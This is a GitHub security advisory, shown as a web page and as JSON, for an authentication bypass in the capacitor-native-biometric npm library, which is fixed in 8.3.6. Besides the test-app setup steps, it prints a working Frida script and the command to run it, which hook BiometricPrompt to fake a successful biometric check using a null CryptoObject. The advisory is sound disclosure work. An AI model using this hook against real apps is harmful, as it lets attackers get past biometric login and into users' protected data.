GHSA-VX5F-VMR6-32WF

Vulnerability from github – Published: 2026-02-10 14:33 – Updated: 2026-02-12 20:25
VLAI
Summary
cap-go/capacitor-native-biometric Authentication Bypass
Details

There is a potential issue with the cap-go/capacitor-native-biometric library.


Summary

The cap-go/capacitor-native-biometric library was found to be subject to an authentication bypass as the current implementation of the onAuthenticationSucceeded() does not appear to handle a CryptoObject^HackTricks1 as seen in the following code block starting from line 88 in AuthActivity.java:

@Override
    public void onAuthenticationSucceeded(
        @NonNull BiometricPrompt.AuthenticationResult result
    ) {
        super.onAuthenticationSucceeded(result);
        finishActivity("success");
    }

As the current implementation only checks whether onAuthenticationSucceeded() was called and does not handle a CryptoObject the biometric authentication can be bypassed by hooking the onAuthenticationSucceeded() function.

PoC Video:

https://github.com/user-attachments/assets/b7b5a2bc-21dc-4373-b371-84b002dae7a7

Environment:

The following steps were taken to create and deploy a Capacitor application using the cap-go/capacitor-native-biometric library for the purpose of verifying this finding. Note at the time of writing the npx create-react-app command broke, so I have provided two ways of creating and deploying the testing environment. Apparently React updated to version 19 caused a dependency issue as seen here. If it is not fixed by the time you look at this PoC please use the yarn alternatives.

  1. Create a new Capacitor app by opening your terminal and run the following commands to create a new Capacitor app. For the sake of the disclosure I'll be using the name capgo-poc:
npx create-react-app capgo-poc --template typescript

Yarn Alternative:

npm install --global yarn
yarn create react-app capgo-poc --template typescript
  1. Install dependencies by navigating into your app's directory and run the following command to install Capacitor's core dependencies:
cd capgo-poc
npm install @capacitor/core 
npm install @capacitor/cli 
npm install @capacitor/android
npm install @capgo/capacitor-native-biometric
npm install react

Yarn Alternative:

cd capgo-poc
yarn add @capacitor/core 
yarn add @capacitor/cli 
yarn add @capacitor/android
yarn add @capgo/capacitor-native-biometric
yarn add react
  1. Initialise the project using the name capgo-poc and com.capgo.poc, and add the android platform by running the following commands:
npx cap init
npx cap add android
  1. Configure the android permissions by opening the android/app/src/main/AndroidManifest.xml file and add the necessary permissions:
<uses-permission android:name="android.permission.USE_BIOMETRIC" />
<uses-permission android:name="android.permission.USE_FINGERPRINT" />
  1. Implement Biometric Authentication, here is some basic code to use the biometric authentication feature. Modify the TSX file called App.tsx in src/ and import the following code:
import React, { useState } from 'react';
import { NativeBiometric } from '@capgo/capacitor-native-biometric';

const App = () => {
  // State to hold authentication status
  const [authStatus, setAuthStatus] = useState<string | null>(null);

  // Function to authenticate the user
  const authenticateUser = async () => {
    try {
      const result = await NativeBiometric.verifyIdentity({
        reason: 'For an application access',
        title: 'Log in',
        subtitle: '',
        description: 'Verify yourself by biometrics',
        useFallback: true,
        maxAttempts: 3,
      }).then(() => true)
        .catch(() => false);

      if (!result) {
        setAuthStatus('failed');
      } else {
        setAuthStatus('success');
      }
    } catch (error) {
      console.error('Error during biometric verification:', error);
      setAuthStatus('error');
    }
  };

  return (
    <div>
      <h1>CAP-GO Capacitor Native Biometric Authentication</h1>
      <button onClick={authenticateUser}>Authenticate with Biometrics</button>

      {/* Conditionally render based on authentication status */}
      {authStatus === 'success' && <h2>CAP-GO Capacitor Native Biometric Authentication Success</h2>}
      {authStatus === 'failed' && <h2>CAP-GO Capacitor Native Biometric Authentication Failed</h2>}
      {authStatus === 'error' && <h2>Error during authentication</h2>}
    </div>
  );
};

export default App;
  1. Build the React project, synchronise it with the Android platform, and open the native Android project in Android Studio by running the following commands:
npm run build
npx cap sync android 
npx cap open android

Yarn alternative:

yarn build
npx cap sync android 
npx cap open android

Exploitation:

For the purpose of demonstrating the vulnerability we will be using frida and a rooted emulator from android studio. Frida is a dynamic instrumentation toolkit used as part of pentesting mobile applications ^frida.

Note that a rooted emulator is not necessary, but is being used for simplicity to demonstrate the vulnerability.

  1. Copy the below frida script to a JavaScript file and run it to hook the onAuthenticationSucceeded() function, abusing the null CryptoObject. This can be done by running the following command:
frida -U -l <PAYLOAD> -n 'capgo-poc'

Payload

Java.perform(function () {
  hookBiometricPrompt();
});

function getBiometricAuthResult(resultObj, cryptoInst) {
    var authenticationResultInst = resultObj.$new(cryptoInst, 0);
    return authenticationResultInst;
};

function getBiometricPromptResult() {
    var cryptoObj = Java.use('android.hardware.biometrics.BiometricPrompt$CryptoObject');
    var cryptoInst = cryptoObj.$new(null);
    var authenticationResultObj = Java.use('android.hardware.biometrics.BiometricPrompt$AuthenticationResult');
    var authenticationResultInst = getBiometricAuthResult(authenticationResultObj, cryptoInst);
    return authenticationResultInst
};

function hookBiometricPrompt() {
    var biometricPrompt = Java.use('android.hardware.biometrics.BiometricPrompt')['authenticate'].overload('android.os.CancellationSignal', 'java.util.concurrent.Executor', 'android.hardware.biometrics.BiometricPrompt$AuthenticationCallback');
    console.log("Hooking BiometricPrompt.authenticate()...");
    biometricPrompt.implementation = function (cancellationSignal, executor, callback) {
        var authenticationResultInst = getBiometricPromptResult();
        callback.onAuthenticationSucceeded(authenticationResultInst);
    }
};
Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "@capgo/capacitor-native-biometric"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "8.3.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-287"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-02-10T14:33:50Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "There is a potential issue with the [cap-go/capacitor-native-biometric](https://github.com/Cap-go/capacitor-native-biometric) library. \n\n---\n\n## Summary\n\nThe [cap-go/capacitor-native-biometric](https://github.com/Cap-go/capacitor-native-biometric) library was found to be subject to an authentication bypass as the current implementation of the `onAuthenticationSucceeded()` does not appear to handle a `CryptoObject`[^HackTricks1] [^SecuringBiometricAuthentication] as seen in the following code block starting from [line 88 in AuthActivity.java](https://github.com/Cap-go/capacitor-native-biometric/blob/main/android/src/main/java/ee/forgr/biometric/AuthActivity.java#L88):\n\n```java\n@Override\n    public void onAuthenticationSucceeded(\n        @NonNull BiometricPrompt.AuthenticationResult result\n    ) {\n        super.onAuthenticationSucceeded(result);\n        finishActivity(\"success\");\n    }\n```\n\nAs the current implementation only checks whether `onAuthenticationSucceeded()` was called and does not handle a `CryptoObject` the biometric authentication can be bypassed by hooking the `onAuthenticationSucceeded()` function. \n\n## PoC Video:\n\nhttps://github.com/user-attachments/assets/b7b5a2bc-21dc-4373-b371-84b002dae7a7\n\n## Environment:\n\nThe following steps were taken to create and deploy a Capacitor application using the `cap-go/capacitor-native-biometric library` for the purpose of verifying this finding. Note at the time of writing the `npx create-react-app` command broke, so I have provided two ways of creating and deploying the testing environment. Apparently React updated to version 19 caused a dependency issue as seen [here](https://github.com/facebook/create-react-app/issues/13715). If it is not fixed by the time you look at this PoC please use the yarn alternatives. \n\n1. Create a new Capacitor app by opening your terminal and run the following commands to create a new Capacitor app. For the sake of the disclosure I\u0027ll be using the name `capgo-poc`: \n\n```sh\nnpx create-react-app capgo-poc --template typescript\n```\n\nYarn Alternative:\n\n```sh\nnpm install --global yarn\nyarn create react-app capgo-poc --template typescript\n```\n\n2. Install dependencies by navigating into your app\u0027s directory and run the following command to install Capacitor\u0027s core dependencies:\n\n```sh\ncd capgo-poc\nnpm install @capacitor/core \nnpm install @capacitor/cli \nnpm install @capacitor/android\nnpm install @capgo/capacitor-native-biometric\nnpm install react\n```\n\nYarn Alternative:\n\n```sh\ncd capgo-poc\nyarn add @capacitor/core \nyarn add @capacitor/cli \nyarn add @capacitor/android\nyarn add @capgo/capacitor-native-biometric\nyarn add react\n```\n\n3. Initialise the project using the name `capgo-poc` and `com.capgo.poc`, and add the android platform by running the following commands:\n\n```sh\nnpx cap init\nnpx cap add android\n```\n\n4. Configure the android permissions by opening the `android/app/src/main/AndroidManifest.xml` file and add the necessary permissions:\n\n```xml\n\u003cuses-permission android:name=\"android.permission.USE_BIOMETRIC\" /\u003e\n\u003cuses-permission android:name=\"android.permission.USE_FINGERPRINT\" /\u003e\n```\n\n5. Implement Biometric Authentication, here is some basic code to use the biometric authentication feature. Modify the TSX file called `App.tsx` in `src/` and import the following code:\n\n```js\nimport React, { useState } from \u0027react\u0027;\nimport { NativeBiometric } from \u0027@capgo/capacitor-native-biometric\u0027;\n\nconst App = () =\u003e {\n  // State to hold authentication status\n  const [authStatus, setAuthStatus] = useState\u003cstring | null\u003e(null);\n\n  // Function to authenticate the user\n  const authenticateUser = async () =\u003e {\n    try {\n      const result = await NativeBiometric.verifyIdentity({\n        reason: \u0027For an application access\u0027,\n        title: \u0027Log in\u0027,\n        subtitle: \u0027\u0027,\n        description: \u0027Verify yourself by biometrics\u0027,\n        useFallback: true,\n        maxAttempts: 3,\n      }).then(() =\u003e true)\n        .catch(() =\u003e false);\n\n      if (!result) {\n        setAuthStatus(\u0027failed\u0027);\n      } else {\n        setAuthStatus(\u0027success\u0027);\n      }\n    } catch (error) {\n      console.error(\u0027Error during biometric verification:\u0027, error);\n      setAuthStatus(\u0027error\u0027);\n    }\n  };\n\n  return (\n    \u003cdiv\u003e\n      \u003ch1\u003eCAP-GO Capacitor Native Biometric Authentication\u003c/h1\u003e\n      \u003cbutton onClick={authenticateUser}\u003eAuthenticate with Biometrics\u003c/button\u003e\n\n      {/* Conditionally render based on authentication status */}\n      {authStatus === \u0027success\u0027 \u0026\u0026 \u003ch2\u003eCAP-GO Capacitor Native Biometric Authentication Success\u003c/h2\u003e}\n      {authStatus === \u0027failed\u0027 \u0026\u0026 \u003ch2\u003eCAP-GO Capacitor Native Biometric Authentication Failed\u003c/h2\u003e}\n      {authStatus === \u0027error\u0027 \u0026\u0026 \u003ch2\u003eError during authentication\u003c/h2\u003e}\n    \u003c/div\u003e\n  );\n};\n\nexport default App;\n```\n\n6. Build the React project, synchronise it with the Android platform, and open the native Android project in Android Studio by running the following commands:\n\n```sh\nnpm run build\nnpx cap sync android \nnpx cap open android\n```\n\nYarn alternative:\n\n```sh\nyarn build\nnpx cap sync android \nnpx cap open android\n```\n\n## Exploitation:\n\nFor the purpose of demonstrating the vulnerability we will be using frida and a rooted emulator from android studio. Frida is a dynamic instrumentation toolkit used as part of pentesting mobile applications [^frida]. \n\nNote that a rooted emulator is not necessary, but is being used for simplicity to demonstrate the vulnerability. \n\n1. Copy the below frida script to a JavaScript file and run it to hook the `onAuthenticationSucceeded()` function, abusing the `null CryptoObject`. This can be done by running the following command:\n\n```sh\nfrida -U -l \u003cPAYLOAD\u003e -n \u0027capgo-poc\u0027\n```\n\n### Payload\n```js\nJava.perform(function () {\n  hookBiometricPrompt();\n});\n\nfunction getBiometricAuthResult(resultObj, cryptoInst) {\n    var authenticationResultInst = resultObj.$new(cryptoInst, 0);\n    return authenticationResultInst;\n};\n\nfunction getBiometricPromptResult() {\n    var cryptoObj = Java.use(\u0027android.hardware.biometrics.BiometricPrompt$CryptoObject\u0027);\n    var cryptoInst = cryptoObj.$new(null);\n    var authenticationResultObj = Java.use(\u0027android.hardware.biometrics.BiometricPrompt$AuthenticationResult\u0027);\n    var authenticationResultInst = getBiometricAuthResult(authenticationResultObj, cryptoInst);\n    return authenticationResultInst\n};\n\nfunction hookBiometricPrompt() {\n    var biometricPrompt = Java.use(\u0027android.hardware.biometrics.BiometricPrompt\u0027)[\u0027authenticate\u0027].overload(\u0027android.os.CancellationSignal\u0027, \u0027java.util.concurrent.Executor\u0027, \u0027android.hardware.biometrics.BiometricPrompt$AuthenticationCallback\u0027);\n    console.log(\"Hooking BiometricPrompt.authenticate()...\");\n    biometricPrompt.implementation = function (cancellationSignal, executor, callback) {\n        var authenticationResultInst = getBiometricPromptResult();\n        callback.onAuthenticationSucceeded(authenticationResultInst);\n    }\n};\n```\n\n[^SecuringBiometricAuthentication]: https://www.kayssel.com/post/android-8/\n[^HackTricks1]: https://book.hacktricks.xyz/mobile-pentesting/android-app-pentesting/bypass-biometric-authentication-android#method-1-bypassing-with-no-crypto-object-usage\n[^frida]: https://frida.re/",
  "id": "GHSA-vx5f-vmr6-32wf",
  "modified": "2026-02-12T20:25:16Z",
  "published": "2026-02-10T14:33:50Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/Cap-go/capgo/security/advisories/GHSA-vx5f-vmr6-32wf"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Cap-go/capacitor-native-biometric/commit/1254602e942f8216e6258f646f0866d8e69c48a5"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/Cap-go/capgo"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:P/AC:L/AT:N/PR:N/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "cap-go/capacitor-native-biometric Authentication Bypass"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Loading…

Loading…

Loading…

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.


Loading…